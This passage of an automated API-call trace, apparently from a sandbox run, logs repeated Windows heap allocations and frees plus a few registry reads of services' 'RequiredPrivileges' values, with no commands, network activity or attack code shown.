RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.145] RegQueryValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.145] RegQueryValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0176.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0176.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0176.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0176.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0176.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0176.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd90) returned 1 [0176.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219de30 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0176.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0176.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0176.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.151] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x194) returned 0x0 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.151] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x194 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x194) returned 0x0 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0176.151] RtlFreeHeap 